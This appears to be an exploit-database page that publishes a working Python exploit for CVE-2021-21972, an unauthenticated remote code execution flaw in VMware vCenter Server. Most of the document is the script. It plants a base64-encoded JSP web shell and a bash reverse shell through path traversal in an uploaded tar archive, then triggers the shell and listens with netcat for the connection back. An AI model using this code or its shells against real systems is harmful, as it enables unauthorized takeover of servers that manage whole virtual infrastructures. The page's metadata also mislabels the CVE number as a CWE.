header-logo
Suggest Exploit
vendor:
vCenter Server
by:
CHackA0101
9,8
CVSS
HIGH
Remote Code Execution (RCE)
20
CWE
Product Name: vCenter Server
Affected Version From: 7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n
Affected Version To: 4.x before 4.2 and 3.x before 3.10.1.2
Patch Exists: YES
Related CWE: 2021-21972
CPE: a:vmware:vcenter_server
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux
2021

VMware vCenter Server RCE 6.5 / 6.7 / 7.0 – Remote Code Execution (RCE) (Unauthenticated)

This exploit allows an unauthenticated attacker to execute arbitrary code on the vulnerable system. The vulnerability exists in the vSphere Client (HTML5) which is a web-based application that allows administrators to manage vCenter Server and ESXi hosts. The vulnerability is due to improper validation of user-supplied input in the vSphere Client (HTML5). An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vSphere Client (HTML5) to execute arbitrary code on the vulnerable system.

Mitigation:

Upgrade to VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
Source

Exploit-DB raw data:

# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 06/21/2021
# Exploit Author: CHackA0101
# Vendor Homepage: https://kb.vmware.com/s/article/82374
# Software Link: https://www.vmware.com/products/vcenter-server.html
# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)
# CVE: 2021-21972

# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md

#!/usr/bin/python2

import os
import urllib3
import argparse
import sys
import requests
import base64
import tarfile
import threading
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

myargs=argparse.ArgumentParser()
myargs.add_argument('-T','--target',help='The IP address of the target',required=True)
myargs.add_argument('-L','--local',help='Your local IP',required=True)
args=myargs.parse_args()

def getprompt(x):
	print ("(CHackA0101-GNU/Linux)$ "+ str(x)) 

def getpath(path="/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp"):
    fullpath="../" * 7 + path
    return fullpath.replace('\\','/').replace('//','/')

def createbackdoor(localip):
    # shell4.jsp
    backdoor = "PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg=="
    backdoor = base64.b64decode(backdoor).decode('utf-8')
    f = open("shell4.jsp","w")
    f.write(backdoor)
    f.close()
    # reverse.sh 
    # After decoding overwrite string 'CUSTOM_IP' for local IP 
    shell="IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE="
    shell=base64.b64decode(shell).decode('utf-8')
    shell=shell.replace('CUSTOM_IP',localip)
    f=open("reverse.sh","w")
    f.write(shell)
    f.close()
    # Move on with the payload
    payload_file=tarfile.open('payload.tar','w')
    myroute=getpath()
    getprompt('Adding web backdoor to archive')
    payload_file.add("shell4.jsp", myroute)
    myroute=getpath("tmp/reverse.sh")
    getprompt('Adding bash backdoor to archive')
    payload_file.add("reverse.sh", myroute)
    payload_file.close()
    # cleaning up a little bit
    os.unlink("reverse.sh")
    os.unlink("shell4.jsp")
    getprompt('Backdoor file just was created.')

def launchexploit(ip):
    res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60)
    if res.status_code == 200 and res.text == 'SUCCESS':
        getprompt('Backdoor was uploaded successfully!')
        return True
    else:
        getprompt('Backdoor failed to be uploaded. Target denied access.')
    return False

def testshell(ip):
    getprompt('Looking for shell...')
    shell_path="/ui/resources/shell4.jsp?cmd=uname+-a"
    res=requests.get('https://' + ip + shell_path, verify=False, timeout=60)
    if res.status_code==200:
        getprompt('Shell was found!.')
        response=res.text
        if True:
            getprompt('Shell is responsive.')
            try:
                response=re.findall("b>(.+)</",response)[0]
                print('$>uname -a')
                print(response)
            except:
                pass
            return True
    else:
        getprompt('Sorry. Shell was not found.')
    return False

def opendoor(url):
    time.sleep(3)
    getprompt('Executing command.')
    requests.get(url, verify=False, timeout=1800)
	
def executebackdoor(ip, localip):
    url="https://"+ip+"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh"
    t=threading.Thread(target=opendoor,args=(url,))
    t.start()
    getprompt('Setting up socket '+localip+':443')
    os.system('nc -lnvp 443')

if len(sys.argv)== 1:
    myargs.print_help(sys.stderr)
    sys.exit(1)
createbackdoor(args.local)
uploaded=launchexploit(args.target)
if uploaded:
    tested=testshell(args.target)
    if tested:
        executebackdoor(args.target, args.local)
getprompt("Execution completed!")